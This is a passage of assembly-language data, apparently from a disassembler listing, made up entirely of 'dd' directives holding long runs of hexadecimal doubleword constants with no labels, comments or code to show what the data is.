		dd 0DFC12C0h, 0A638B796h, 29ED0629h, 223E3522h,	7C225FB4h
		dd 346C22FFh, 42380222h, 1A5E0878h, 28513990h, 0C4A39160h
		dd 4E5ECC28h, 8451D849h, 15808336h, 81980190h, 5D861C01h
		dd 9DC5DB71h, 595F8h, 4BA177E5h, 8B4B38Ah, 343F48h, 9CAA532Ch
		dd 0F4D364D6h, 89A70095h, 636015Bh, 720727D9h, 0A6C5E634h
		dd 2EB1FA50h, 544F000Ah, 0F828FD84h, 3400A746h,	86CC5BFFh
		dd 0C6B83Fh, 5E37D29Fh,	6BDCD85h, 5CE7F63Ah, 4C470164h
		dd 8EF4835Dh, 187CAD8h,	0E39A30Dh, 40DEE972h, 3C7149C9h
		dd 3E55F51Bh, 4D83A818h, 39D600FBh, 0DBAC46A6h,	0EB3AC880h
		dd 38040A4Ah, 971FE0EEh, 2F19A87h, 44FA1D70h, 0F833FCA7h
		dd 3F6F89Dh, 0CBAFDD2Ch, 800E21EAh, 0E003087Bh,	722B1E90h
		dd 6EE3001Dh, 812AE786h, 51017866h, 0EEF73565h,	7271FB69h
		dd 0CFA448FEh, 4E7C00EFh, 0DF0561B0h, 0CEB8C379h, 39E09B00h
		dd 1D38B385h, 7B0C0087h, 24E77199h, 0A675D2ADh,	8B9A083Bh
		dd 7A8DDDh, 280ED5Fh, 0A26C58AFh, 7B740074h, 92911333h
		dd 6A727686h, 56E7B600h, 63A5A28Dh, 447D7Ah, 0D6684520h
		dd 0FE27B0A8h, 0E802DD00h, 0D7A2573Dh, 15CC0051h, 6DD0C33Eh
		dd 0FA000A26h, 4FD8FFCBh, 1DD8BCAh, 0A89C5BB5h,	0D06E06BCh
		dd 7C0F21B2h, 0A00BE5B6h, 1FEB7875h, 58E00A0h, 81A3417Fh
		dd 0CC3D2608h, 104E0352h, 0A8D650CBh, 0AC0B14h,	0AAE8DEE2h
		dd 38DA0C8Fh, 6BC19B00h, 55826C84h, 416A0042h, 4CCCEBDFh
		dd 7C98FA2Ch, 23B85607h, 88604987h, 43E0ECh, 1021ABAEh
		dd 0D419B36Ah, 0C5DC8500h, 32C0EE97h, 8C410070h, 5A64CD3Bh
		dd 959A0D74h, 0DC8D2202h, 4093016Bh, 7FFC713h, 0BE73B427h
		dd 7C8283D5h, 22F52EE9h, 2DA9C004h, 1CDBEAAh, 0A56D393Ah
		dd 709B0493h, 3BE28B6Ch, 6E36D100h, 0F7CBE0FFh,	9937077Ch
		dd 3786A5EDh, 8180A039h, 0D0001FF6h, 6412BE67h,	222190Ah
		dd 3327CEA7h, 904641ACh, 2BC5BA00h, 68D42B4h, 1EA100D6h
		dd 5143807h, 0CC001C20h, 0D3024C50h, 864583h, 5D341D3Dh
		dd 85C77059h, 0FD2EBCA0h, 67772500h, 0F9B1C58Bh, 0DDDA24BEh
		dd 0D1870018h, 14BD3127h, 3BC9491Fh, 0C11F8500h, 22AB30h
		dd 1B4FA972h, 0F332F904h, 7D834D00h, 145575D3h,	9E60038Fh
		dd 62C9890Eh, 0F06A36E8h, 571A601h, 0E19DD113h,	0B319FCh
		dd 884CE94Dh, 1B18D3EDh, 0D30471Ch, 124E7A43h, 61F8A09Ah
		dd 0F5C600BCh, 30B70EF9h, 1378FC44h, 7DCE5C02h,	40281FD6h
		dd 28E7749h, 0A49E6A46h, 8CC80B66h, 0B47E8826h,	58225900h
		dd 0FF13B09Ch, 0A0F1003Eh, 84FC63F9h, 163D4D28h, 0F300FF27h
		dd 8C7C1160h, 0AAF510h,	439D3DC4h, 0BFA19255h, 7E483B7Fh
		dd 4B73F10h, 0ECF220D8h, 45124980h, 0F2F4E47Ah,	4FBE0382h
		dd 93D7FEE3h, 0D80F3AB8h, 7E25D509h, 24EF0BAh, 0E2C14229h
		dd 0EC91DAA8h, 0FA2BC8B3h, 71C0D100h, 1CE35F09h, 775D0EF4h
		dd 3720703Ch, 0CCB0EC32h, 0D873B702h, 40DB8EF3h, 18FE438h
		dd 7B3A51A2h, 21BAA68Ch, 65E7D834h, 1AB8C57Ah, 29737E00h
		dd 58786E0Dh, 98E4E434h, 49900045h, 2C845FFh, 0A00056FEh
		dd 0ED9597FBh, 0AB1F23h, 0D9F4B510h, 0D1EDE76h,	26D32800h
		dd 0FB9B5553h, 0B0CC00F5h, 44C4E1DDh, 5B00A6F4h, 0AF17151h
		dd 0DB6CFDh, 19B60CD8h,	22ECAC6Dh, 0D2A2FB04h, 0D4D03B4Fh
		dd 40F4B4DCh, 0DA3AFF6Bh, 834805Ah, 22F3A6F8h, 7FB00Ah
		dd 72F4C073h, 23C61AFh,	0D2EB7500h, 0BBD69B59h,	7F777CB8h
		dd 2E560030h, 0F533E386h, 0A600A92Ah, 0B28B2F9Ah, 0F6E4DF72h
		dd 54CC1F9Dh, 9B1683D6h, 94D05B0Ah, 0C300925Ch,	1D87C24Ah
		dd 7FAAF7B3h, 7AE72825h, 941B0180h, 3DB70FAh, 357C30CAh
		dd 37E6B701h
		dd 0A5E0BA6h, 8E94E8D6h, 1D5D28CAh, 48DDFAF4h, 59090025h
		dd 0B000858Ah, 0A2BB1FC9h, 0DFB77A07h, 0C621337Fh, 28808988h
		dd 0FF181462h, 25000A91h, 595C7969h, 98F7277Eh,	3F610038h
		dd 0FD0676A8h, 0E71762DCh, 0C481D47Ch, 803457EEh, 0B4731F19h
		dd 0B35218h, 9B3B9580h,	400743B1h, 68C89DA1h, 333FAA20h
		dd 48C30054h, 0D64C325Ah, 0DD3E65AEh, 0E3A180C9h, 46A72A5Ch
		dd 8FEA074Fh, 80823414h, 5FA24548h, 87B11F05h, 0BC0DD90h
		dd 0C09F7BB5h, 8F2873D8h, 81009D95h, 961808F1h,	31E0A9Ch
		dd 97305EACh, 95F2491Ch, 3CBE1B60h, 0BF78DE0Fh,	905043B1h
		dd 0FE5982Bh, 9AD80029h, 0A204C931h, 4400D5DBh,	0AFEF7485h
		dd 1E4850F9h, 850297E1h, 80A058A9h, 7A2A6438h, 0BAFF700h
		dd 0FC89C53Fh, 0BCF30787h, 0C15CF46Ah, 0EC18D7FDh, 0FE0191FBh
		dd 0B771CBA5h, 6CF0FA68h, 67D90093h, 0F94D3FD6h, 0CF00272Eh
		dd 9CCD9DA6h, 1F905216h, 80CC5C44h, 1708B601h, 40E9614Ah
		dd 20D4ACC0h, 152E9507h, 0AC06FEAh, 5A7787h, 0A42DBE92h
		dd 0E8CF20C4h, 0B7F92500h, 6124BB33h, 3F280039h, 0AD98D91Fh
		dd 660EE2E7h, 67B634F9h, 72F10F67h, 0C6C6DA20h,	564D40h
		dd 47517700h, 0A1ABE8F8h, 80E5F239h, 7B870837h,	0FA8F92h
		dd 314C8166h, 0DEAD1F0h, 0E0404909h, 0DE500024h, 3AC55D10h
		dd 3800698Eh, 0C60575C8h, 731FAB28h, 368753DAh,	3AE04F56h
		dd 9BD9D67h, 0EE17948Dh, 1288301h, 0C0A8472Ah, 42EF2762h
		dd 0ED30150Ch, 7E7B50ECh, 0E88E00C1h, 708ADDDBh, 6700BE08h
		dd 225D5705h, 0FE6685h,	73073877h, 583BBBEEh, 57151A00h
		dd 0B0304370h, 9A9805FDh, 0E0FF5186h, 0C400121Ch, 26AD825Fh
		dd 0D4E874h, 0BD8FB1EFh, 0FD50C5A4h, 0D8928800h, 4C8A83B9h
		dd 9D643DF7h, 0D0A14F00h, 9159803Fh, 4DC19C1Dh,	75671005h
		dd 0C473FC90h, 0C782002Ch, 4F3CBF27h, 970031C5h, 0B96C17EBh
		dd 5879F7A8h, 4E0F2B1Dh, 0A60F1398h, 0F3A7ED67h, 31D188FFh
		dd 4BC450A2h, 0C100D324h, 5322611Dh, 680FBh, 2573DF6Bh
		dd 0D0F00BCBh, 2D289494h, 973B6118h, 0B0592D88h, 0C322C048h
		dd 0A1412A38h, 52625C05h, 1F807368h, 772D67B2h,	0F1790004h
		dd 6FE98ACh, 0B4047CFBh, 0A1A83DDDh, 432AEAC0h,	3F1A00F2h
		dd 8AD1F396h, 0E6048BDAh, 0A882F49Bh, 2EBB6580h, 917200A0h
		dd 2192C35Eh, 0EC00111Ch, 0E9C8489Bh, 0EF06D0h,	0D5B7B023h
		dd 0BBAAA18Eh, 83ADA73Ch, 3D244047h, 5D0BF8F1h,	1D8C0121h
		dd 0FE5956D4h, 92DACCB1h, 18416200h, 6495C3C8h,	7053EE93h
		dd 683400AAh, 7B3F243Eh, 0E300D7F2h, 0C854486Fh, 3C97F1B5h
		dd 6A8044B7h, 815E7A22h, 630033A3h, 1E71A0A7h, 609C8Dh
		dd 4393E586h, 8B53C1F6h, 0AEA46901h, 33D5B30Bh,	0EADC72E1h
		dd 0E7C3002Ch, 0ECBDBBC4h, 681C9179h, 0B9D88143h, 31A770h
		dd 1664746Dh, 84658C69h, 7F9C724Ch, 9E20AB00h, 8AD5875Bh
		dd 514F0082h, 8C0AF49Ah, 0EB76892Eh, 16359100h,	20DB31D1h
		dd 26600028h, 469CA2DFh, 4E039FE6h, 84E0C934h, 9D2000D9h
		dd 14805B77h, 35761688h, 5D00BEFCh, 210AF06Dh, 502854D2h
		dd 2C9439h, 0F82588C2h,	45E17273h, 811DC300h, 2B9948FDh
		dd 0BC2C000Fh, 0F2D9B4DFh, 0B00E650h, 5C619388h, 77329Ah
		dd 713F2620h, 0B076B954h, 0E3014907h, 0F5701F72h, 3CA3C1h
		dd 0BF892063h, 0E9BEFABAh, 0E6B3C400h, 168EFE34h, 2820194h
		dd 9284A978h, 0D6D7C4A4h, 0A65DD00h, 0E73B81E3h, 5236016Ah
		dd 0A46B4E9Bh, 0FEC6E0F4h, 970003EAh, 28ACB8BFh, 38D2FA64h
		dd 247E1CF8h, 768929h, 0C567186Eh, 0A47AF31Eh, 0C080BB00h
		dd 4785BC9Bh, 55E01F91h, 0FE1C00A5h, 0A2FF686Ch, 39040300h
		dd 10021469h, 494B00DEh, 0D00EA3F2h, 0A2003B7Fh, 8240652Fh
		dd 0F415B816h, 8B1D078Fh, 0A1F342FAh, 0F4584960h, 0A00575Ch
		dd 361CEFEAh, 871F27h, 1ED4ECAFh, 0F5DC933h, 9A03F3Fh
		dd 809298A3h, 2CC35F8h,	55A600FBh, 156A1869h, 0DD788B9Fh
		dd 10B92D07h, 0E4E0CD13h, 0D04871h, 0FED82AF1h,	0F5855EC3h
		dd 87A2A900h, 4064AE6Fh, 23050009h, 622FDCF2h, 0C0008DCBh
		dd 8A468473h, 0F29E42B4h, 64E600F0h, 48F2A5EBh,	3D0014D2h
		dd 0EA8A44F5h, 15A9FB49h, 94E43315h, 0C50126h, 0C2F9E0C8h
		dd 0D47F4737h, 6C582200h, 0AE656041h, 342000D3h, 0D231C0E1h
		dd 79EA2CA6h, 0A38D3300h, 0A54A128Eh, 6A0F00B3h, 0F02D7C94h
		dd 130055D5h, 41C5A8CCh, 0E2CBD6h, 0AC06F24Eh, 0F8A3485Dh
		dd 0DC2B420Eh, 0AB8982F0h, 0D3A1E059h, 0C3639BDh, 710FB980h
		dd 0FAEBA96Ah, 73F07C00h, 80B17E98h, 567D00B4h,	0FC790A13h
		dd 830EAC4Fh, 6EDB74F2h, 50070040h, 3B12EAFh, 6D4E37BBh
		dd 78002694h, 74A9F3B2h, 0E133676h, 113EB01Dh, 0B9D1C720h
		dd 0B83CF7BDh, 0F0C4872Ch, 6560A26Fh, 7DF2310Eh, 8C140018h
		dd 0F70ADD57h, 6EE26390h, 0D2004579h, 56CE4B9Bh, 60BDB57Ah
		dd 8AC38A1h, 0A40531EFh, 2E7F03E9h, 5113B801h, 0A6002F2h
		dd 320A0028h, 0EB7B0515h, 0B7FAEEC0h, 5E00B8F0h, 0CCFEC5E9h
		dd 1C24A963h, 4376B119h, 4D68A407h, 0D009CD6h, 0BEB93761h
		dd 3992A7F3h, 0F47BB132h, 65E1305Dh, 0C5702FA2h, 0BA0FC373h
		dd 0A0923920h, 0D661658h, 179A1E44h, 84F4014h, 0D0634ACFh
		dd 5933D300h, 9512619Bh, 9EBA0B66h, 9B80AEEAh, 42449262h
		dd 72EF7D00h, 6DAAC10Eh, 0C8871F3Dh, 40775E57h,	7A6499DEh
		dd 3F016592h, 0E1102C7Dh, 8DF46AF0h, 934400A9h,	295C6D38h
		dd 0CCEC320Dh, 0CD3DBC00h, 0B196C283h, 6E03003Bh, 73AEF778h
		dd 0BE00535Ch, 0CC214AC8h, 5CB69144h, 2000CDD8h, 893DDAE7h
		dd 0F43C2B52h, 0CFF58007h, 0B77EFB73h, 17ED3E51h, 0B3624080h
		dd 945633B2h, 1531300h,	7E08428Bh, 2CE40718h, 0E457BA37h
		dd 0F154C085h, 0C1005EC8h, 0A639740Bh, 3CD72036h, 0E1802151h
		dd 723B97A1h, 7000F196h, 77187AF5h, 288CAF85h, 0E196D041h
		dd 4F422080h, 0D18D91ABh, 2237B800h, 540FCC9Bh,	0F074F00Ah
		dd 0CD30098h, 7B978253h, 6039D71Bh, 0B22E07E3h,	0D14010E9h
		dd 70D824FBh, 39BF583Dh, 0E3A39C00h, 0EEAB0BE0h, 5C435700h
		dd 0BE7A85F1h, 0F87400FCh, 0C73FF531h, 46FEDEABh, 0D7F03Ch
		dd 57D4789Bh, 2FA4A4Ch,	0B913C51Fh, 0D7C0E3EEh,	31DD8EDh
		dd 0C0129D0h, 9FF5C174h, 932D730h, 760DDDD7h, 8EFA5F80h
		dd 0B000B56Bh, 0BDE30368h, 1E35E582h, 80946EB3h, 8E8BAC8Fh
		dd 3900ED33h, 0F8D373E3h, 0A2C7E0h, 94656953h, 0A666585Ah
		dd 7E213F03h, 7FA07CBDh, 0A2C0030h, 0E87736A9h,	90015AAh
		dd 355DF2FBh, 0EC48C22Ah, 9A55009Bh, 10E01972h,	0CE0038F5h
		dd 2D2E3181h, 7B5A35h, 931F1C77h, 9D9CACCDh, 0F77F9F6h
		dd 10B2090h, 0DD1978h, 5E0B87D6h, 0C58C003Bh, 974D75E5h
		dd 16C0C262h, 2CD807C7h, 0F57700BDh, 66B30E2Eh,	5000045Fh
		dd 3C633943h, 282302E2h, 78CE3658h, 57EC5C7Fh, 61D79B00h
		dd 9F96A13Ah, 0B20A2E00h, 5A08239Ah, 0C1F100C3h, 5D7B228Fh
		dd 307FBC3Bh, 0EB7E2400h, 6E992C9h, 2CAE00CAh, 3A916557h
		dd 8600E2F6h, 0BF4D7B75h, 13D538F4h, 0E6C88CDh,	0F0E9DD6Ch
		dd 17C15403h, 0D8100EC1h, 7500BD0Dh, 3669FACh, 39B6CCh
		dd 0DC48CF19h, 0D772611Fh, 5806D23Dh, 45A70038h, 36AAECBBh
		dd 75F500A6h, 97A2B4DBh
		dd 510040FFh, 6B529986h, 0E0BD24h, 0B084F5CFh, 0F6E64CF7h
		dd 81C00178h, 5463DE77h, 8BA70705h, 0AFF326B3h,	43C07980h
		dd 0DA144FA6h, 91875F6h, 8F63D241h, 47CD0018h, 74CF6015h
		dd 28B71FE7h, 516D47E9h, 0D3D277AFh, 3AF07498h,	0B2017847h
		dd 0EDC4C6F6h, 0EFD4C102h, 2DB41F58h, 58D8045h,	0C93D98Ch
		dd 75A5E3Eh, 237C36C5h,	951571B0h, 0C07F60A4h, 0B1603872h
		dd 5C038826h, 53040C83h, 0EDC3EF09h, 0A1206674h, 0B31F9899h
		dd 43143ACEh, 1AE1000Ch, 0F7A886F5h, 5883F17Dh,	0CD2081BEh
		dd 4C742024h, 0C1696100h, 0EA63DFB6h, 4FE889h, 7538F7D7h
		dd 491E9F16h, 600A879h,	637AE096h, 78A4C0h, 2DBAF0DAh
		dd 4CEF65C2h, 0EB42770Eh, 3280FB9h, 0C021E151h,	1238EC6h
		dd 7F720B96h, 0E492E5A2h, 3700B2B7h, 3FF63DA0h,	222A9CAh
		dd 2AEE0294h, 0D607481h, 0D1077BEBh, 5F920F4Fh,	483CA221h
		dd 28156FC0h, 0A12491h,	46E46020h, 14331330h, 26FA8D01h
		dd 3D6687AFh, 21EDE0h, 0EC0B6E89h, 33EADBADh, 9A156100h
		dd 2757D224h, 2370610h,	0A03C6C7Dh, 802FC43Eh, 7AD8141Fh
		dd 587EE2h, 44B1360Bh, 0A2CC3318h, 0C1C57B01h, 320EAAA9h
		dd 6EE1C9C7h, 0BC45F8h,	25412FD0h, 11743E6Ch, 3400B8F6h
		dd 77CE8A18h, 1B64449h,	0D990023Ch, 0E89278F0h,	28282CF3h
		dd 5600F4FEh, 0F8CE0534h, 60716BE4h, 0D163BC9Fh, 2E006504h
		dd 0C1767BC7h, 0C8077559h, 0FB426F29h, 212324C7h, 131170BBh
		dd 0C2D9116Ch, 2C118F12h, 22843708h, 8B22C897h,	75C0227Eh
		dd 2E11FB42h, 89721CBh,	0FF901CDEh, 2891938Eh, 67223C73h
		dd 72E32069h, 0E0B31E00h, 9E6C5597h, 18B200AAh,	13BE5CFDh
		dd 0F30077DEh, 700A7ECBh, 6BD56Eh, 54F5D652h, 221B8DC4h
		dd 39A22700h, 434D054Bh, 3E2EE62Ah, 4E00F4EAh, 328A641Ah
		dd 41FE0BC3h, 7AC2EE00h, 74842955h, 0E806018Ch,	0BCB80821h
		dd 0F70FE0E5h, 5A330B02h, 41B1AD10h, 0A8F7B747h, 0F450223Fh
		dd 812B0013h, 4093B67h,	52008678h, 9AC2DCD7h, 0A62439h
		dd 4F76426Ah, 5F9C95DEh, 0E75BD500h, 8FE23221h,	0CB9113C2h
		dd 3C5D03h, 0BDF96BA4h,	7E00102Ah, 8817EA7Bh, 768B3Bh
		dd 8332BF3h, 0EC2E1422h, 34FD4700h, 199125D9h, 30AB007Ch
		dd 54E6EE97h, 0D00027EAh, 31D17F23h, 7E6C9Bh, 0C3193A2Ch
		dd 0B643FD44h, 4262A6E6h, 9825DE78h, 843B8Ch, 57E83609h
		dd 6237B967h, 6FCA2E13h, 0EB742000h, 33AFEF6h, 66C92448h
		dd 16A86E87h, 0CCEC77FDh, 1F8C9000h, 9BA50740h,	138BF075h
		dd 1C2EBBD2h, 781E8016h, 16E10453h, 1220DD0Fh, 4682A013h
		dd 1BB83D7h, 0A3733164h, 0D4DA36B8h, 6E618AF3h,	592DEAC0h
		dd 190CDDCh, 0B1FF4716h, 0E89E13ABh, 30008371h,	0AF235F87h
		dd 2CFEAh, 7FA648ADh, 9FF1E586h, 0C4062900h, 10400C21h
		dd 53430B3Ch, 0A882EFBDh, 344860B2h, 7B009A2Fh,	1F692C87h
		dd 2EDFD852h, 64C73Eh, 613847DBh, 9F702622h, 0B6030877h
		dd 561B36AEh, 0FB798072h, 7358BD5Fh, 1C3CEF48h,	8ACB8602h
		dd 0EA450524h, 25092E80h, 989D00EEh, 0BD665BC7h, 0CC0007A4h
		dd 0CF4A6E08h, 0CE7728h, 48D51D23h, 8FE4A90Fh, 486048h
		dd 117DD94h, 0E762C22h,	0E5791BFDh, 810CF5Dh, 8297EEC2h
		dd 4BACF082h, 0C0701324h, 0FA027844h, 429C5DE7h, 47E480B9h
		dd 2C8E159h, 2CB3DD70h,	1AE0FA77h, 6F17EB07h, 46007A38h
		dd 0BF53D2E7h, 0F9F40025h, 5829560Ah, 35B0268Ah, 4C1A2100h
		dd 99715F1h, 0AF5500CBh, 2050778Ch, 3D00605Bh, 7D7AF9ECh
		dd 1CA42CD5h, 80FA8412h, 30A52548h, 800378BCh, 5C7E5387h
		dd 98ED901Fh, 8DEC0037h, 0DCAD7B8h, 10024D31h, 9D5B42A4h
		dd 0D2E087E6h, 59BB5D70h, 0FA7C0Fh, 70C90CA7h, 1E3A37F2h
		dd 0DAEFE700h, 0C10D643Eh, 7FC60082h, 0A1D86861h, 3B71150Eh
		dd 18E05200h, 40DDBF5Ch, 62884039h, 5E87E600h, 0A5C00EECh
		dd 77A473D8h, 3B8F24F9h, 0C9430093h, 4CE20647h,	959F58h
		dd 0DD0D16B0h, 0EA7552h, 0C1623BABh, 98C58BF6h,	0F4251838h
		dd 0E18F1F00h, 46906ABFh, 704A002Ah, 0FFFC9584h, 7B1EF950h
		dd 7580D345h, 4C152F93h, 7A2B71A5h, 0B6F69Ch, 2E31CB0Ah
		dd 0E6429EC4h, 5A09B090h, 5440F17Bh, 33320046h,	86CF9199h
		dd 21B10D00h, 92FE1057h, 0BBC3004Ah, 0C5C97F3Dh, 203902BDh
		dd 80B03C22h, 71602FCCh, 3C73FAB8h, 52393E59h, 0DD78CD80h
		dd 0EB4A0391h, 80762739h, 0B8E82E72h, 0BFC2CB28h, 3A05A2D0h
		dd 4C452177h, 312580C0h, 558F13BEh, 387400CFh, 0D343717Fh
		dd 0A01C4104h, 5DC0E3E1h, 0ECDB5C8Eh, 0FCD702A1h, 28BC22C3h
		dd 0C862F380h, 8015481h, 0AB7598F6h, 629CC694h,	9F29CF5Bh
		dd 1F2C7FA0h, 0B171BF50h, 20750E00h, 71972892h,	0F053F69Ch
		dd 950721Ch, 0A0D59A14h, 8C00E48Bh, 27E93289h, 0AEC6700h
		dd 0B3ABDC2Fh, 0F1CC008Bh, 0E19EC3DEh, 48EC9792h, 0D11F300h
		dd 46C031E8h, 35BFA66h,	5FDD2D82h, 202C4489h, 0A940184Dh
		dd 0F24C8060h, 8973020Eh, 81B7BB1Eh, 6C04E058h,	30CBA707h
		dd 6E83E580h, 5DDE0012h, 9A346529h, 172636E5h, 1C00F458h
		dd 0BF0AD52Eh, 3EC10078h, 4C4EEDEh, 0AC00FA5Dh,	0CC3085C2h
		dd 70F5B17h, 8DADF32Eh,	3B0320F1h, 0AC7A3302h, 0D0E33E30h
		dd 0E0B8B9h, 4152A76Dh,	0E9BA86A9h, 3F07B578h, 91A2C728h
		dd 3CFCC350h, 0FFE06Ah,	0E8107915h, 0E46E3C0h, 2D5F611Fh
		dd 0FEF1A7CEh, 96089DC3h, 4764E045h, 91E50E1Eh,	0EAC05B16h
		dd 0C040F3D8h, 0CB000BF6h, 2E1B3305h, 0F43A720h, 0CC9E6226h
		dd 30BBF9A0h, 0A50055DBh, 7FF239C1h, 1E5BBC6Bh,	0C1B4DE89h
		dd 0F0C70EB2h, 0CA11E89Ch, 0AF6BD0Bh, 70458008h, 3FDAC881h
		dd 91BC8751h, 3E940073h, 2C6F031Bh, 613BA37Ch, 34C71FE9h
		dd 2163BC40h, 0E869C02h, 0CA57F5A2h, 0C0B75C05h, 9DA87E6Fh
		dd 418AD00h, 39388E28h,	0C6A63B25h, 0DFF94481h,	0C480CF50h
		dd 7C031EABh, 186385A9h, 7DD5D1D0h, 0EA361080h,	0C8BBFEDBh
		dd 64DABF00h, 0A39C1D5Dh, 0B0505008h, 0F8E2F895h, 1CC40301h
		dd 0F218B9F1h, 670AEBE8h, 4A029600h, 0C01047FCh, 4C95031Ah
		dd 0BEAB9ADDh, 3BCEA1DFh, 0D9A8DC72h, 7602B901h, 0D5E44396h
		dd 118F04Ch, 0AFA4E8B4h, 0D496871Ah, 910F3BCBh,	687086h
		dd 7F8178CCh, 3355000Ah, 2DBC3749h, 9500CA36h, 0F5F01EF3h
		dd 38F5773h, 2ECC1CC9h,	4890AAC3h, 0A200D79Eh, 746AECE3h
		dd 3992D649h, 54DC2CEEh, 0D9945E00h, 0B21D209Dh, 0BE593B30h
		dd 5BB0CBh, 3D01BB4Fh, 1056036Eh, 7875BC1Dh, 0F88B3580h
		dd 3E6CBF72h, 4B8598A5h, 81049F9Eh, 204A19E1h, 7A86EB54h
		dd 878E8056h, 5FF8D7FEh, 97692F00h, 264C0DB2h, 3C1F0003h
		dd 0EB671DCEh, 0B718E4D5h, 0FB18278Eh, 0BDE819DBh, 0E86C119Ch
		dd 39005276h, 31933C57h, 7DFFEADh, 8B3A8ACBh, 9A12D1BAh
		dd 9C888053h, 0F719C092h, 27B8002Ah, 3A6C5BD8h,	7800F13Bh
		dd 580918E5h, 519685h, 988FC96Bh, 0C559EB54h, 85404248h
		dd 0C2809AB0h, 0FFFFD2B2h, 3F8892h, 0BC8B053Ah,	590A7C86h
		dd 0A09613E4h, 0B7D37300h, 0E656F655h, 0CAB138DEh, 9CFF5294h
		dd 5C510173h, 12B0AA5Bh, 0CC4424BEh, 0C8348D02h, 80ADBD0Fh
		dd 943C1998h, 0E26F00B1h, 0C1109993h, 0C5005655h, 0B72FAC3Bh
		dd 26AE30F3h, 663996h
		dd 7B69D351h, 3E00270Ah, 0CE9E2DCAh, 26595B6Ch,	0B84158h
		dd 213F4CC8h, 321DB8F1h, 0D58E9330h, 46D340CEh,	714A8A8Ch
		dd 585100A5h, 0BB06761Bh, 6B3D738Eh, 0DD4E007Ch, 0A77CE9Ch
		dd 9F3A2405h, 14B400E0h, 8D8FE33Bh, 80061C14h, 5CF480A4h
		dd 80EC41C6h, 771DDFC2h, 57C020B7h, 0C15EEED0h,	56B07Dh
		dd 1EAF97A3h, 0E7C786D9h, 0E02A48h, 54A0F03Fh, 5B6DF7h
		dd 6B400693h, 0E0F42845h, 0A8F91B28h, 82103C00h, 0EBDF39FFh
		dd 76914D0h, 3621B059h,	0EA374C2h, 592F3502h, 6C0A2C48h
		dd 0BCFDDA01h, 944C93E1h, 9420D5F1h, 954E0087h,	251923FFh
		dd 64FE9101h, 5C2849h, 0D9182ACDh, 3D7985Fh, 6A78E937h
		dd 31DFBB07h, 0D8C6DBC7h, 0FC90CF1Dh, 0DD129705h, 0A400A8F6h
		dd 0E61A32E8h, 0AB088099h, 0D33F9700h, 0D55FF8AEh, 44DB00CCh
		dd 12380BAFh, 18008994h, 0E27616B2h, 1FD26B53h,	4061FC43h
		dd 0BD400A1Dh, 231FB480h, 1B84B555h, 4B033FBBh,	9C4CBCh
		dd 58C529C2h, 0ED81008Fh, 5168267Dh, 34002C19h,	9DF07617h
		dd 1C5A1A10h, 0BE9F031Dh, 0F9870070h, 325F0C29h, 7090A30Bh
		dd 6FD14D00h, 8CB4C45Ch, 13B890F1h, 6087E970h, 9EE2BDB8h
		dd 0A2405807h, 4950D6BEh, 0C8650A71h, 11E90631h, 2013D7D0h
		dd 0DECF9C0h, 5EBFD400h, 2D918F39h, 0D7760758h,	30CA21A4h
		dd 0B090AAB6h, 0DFCFECA0h, 78C77A00h, 54B71F08h, 0B18B3DABh
		dd 0F484396h, 37A2637Ah, 9240308Ch, 0D51876FEh,	533035ABh
		dd 743E00AFh, 0AC70BF0h, 950EF517h, 80A01E6Ch, 63FEC0C8h
		dd 1A67F5Ah, 857B43F3h,	70C43841h, 140A9B8Bh, 0D84E3E78h
		dd 0D346823Fh, 8037AB99h, 149E6BF8h, 2000EDAEh,	8726B093h
		dd 2700B0F4h, 4CB274CCh, 4F7300C7h, 30318CDAh, 5E260DFAh
		dd 44405CDBh, 4015FC79h, 0BC7A7511h, 99CDB302h,	8F2C53F3h
		dd 0CF940EF8h, 8D50C487h, 0E28055C7h, 0EC752Eh,	0CF8942DEh
		dd 8A1A70FCh, 669E7A02h, 41819CF6h, 3060365Dh, 0DD77DFh
		dd 9831BA76h, 93FBC667h, 876A8501h, 56726481h, 53C2E050h
		dd 0B86F48DFh, 312580Ah, 2CC380E4h, 114BCD2Ah, 0B8302F00h
		dd 0F1AC1BF8h, 735800D5h, 0F9ADE893h, 0DEE2C92Eh, 752FDD07h
		dd 0CB935C24h, 0D16DE807h, 0DA9F00C0h, 0CFF0E406h, 0C71681EEh
		dd 9400A158h, 0F263AF5h, 19E480BCh, 0B5B4F900h,	0DF1299E3h
		dd 28B200AEh, 515CBBC4h, 66008390h, 4ADA1F38h, 317835h
		dd 46262E6Bh, 25447A1Dh, 0E5583400h, 0D92C7FFh,	0C0FA8889h
		dd 5403Ah, 29537084h, 0EA5474D7h, 60F89A50h, 0CEC42A3Bh
		dd 0AE007F12h, 8AF31314h, 0F06722D5h, 57340002h, 4C5E4C8h
		dd 0C4006480h, 6CDC9950h, 1322CB39h, 412F6D35h,	98C0AAA8h
		dd 1B052F0h, 0E955DC40h, 0AB9FBA00h, 82F8760Ah,	815F0319h
		dd 5A4B9111h, 9637DAC8h, 39E22230h, 0BC808Fh, 43068213h
		dd 0BB9A87BAh, 0AB09DE00h, 0A996781h, 0D7831E1Bh, 0D46490h
		dd 7B8A2F08h, 596024CEh, 0CA2C9D8h, 0D3A8C086h,	4920CC1Eh
		dd 638401Ch, 0C3ED9844h, 0AA0D880h, 8E9A00F9h, 0A421396Bh
		dd 0A600A1C4h, 38DEEAADh, 16245302h, 25016EE6h,	519600C4h
		dd 30C4B964h, 0C1C180Fh, 0CD29200Dh, 1E8F1066h,	0FF31A8h
		dd 0C16B02A1h, 12EC7ADBh, 7EE7EB07h, 559378E2h,	26B5D08Bh
		dd 0D8D200C9h, 0E0B12151h, 0B9579Ah, 20747F4h, 15530DD5h
		dd 0D6B260B8h, 0DDC0006Eh, 0CA472597h, 0BB767D85h, 88272800h
		dd 80CFB2E7h, 45AD00DEh, 0B1BD13A3h, 0D300AEACh, 12FC7366h
		dd 2D7D07D8h, 90C06FD7h, 0E200CEB3h, 0A84B984Ah, 0FAEDC37h
		dd 6ACFDFE7h, 41C69CDEh, 6B55D9F0h, 862020A0h, 0C0F4122Eh
		dd 0CB2B674Eh, 2546E350h, 0C0AC4820h, 0F65485h,	0C93E3498h
		dd 6700DB9Bh, 0FD5EF30h, 3636AB8h, 1613F9B3h, 32A9399Dh
		dd 0DDC9F4CEh, 2CA0A500h, 0C7CFA16Ah, 2F233F1Dh, 0D715E504h
		dd 944082BFh, 0F060BC51h, 1D862F56h, 40F95E33h,	0BAFFBE22h
		dd 5912A004h, 8C00B5AEh, 0D5380A7Fh, 2BC00B3h, 60E87663h
		dd 0B01C4E39h, 0F647E916h, 0D420A66Ah, 3A92BE06h, 0FD89BCh
		dd 23131ADDh, 43A380BFh, 99704100h, 0AD9B30E7h,	0CFE8FB86h
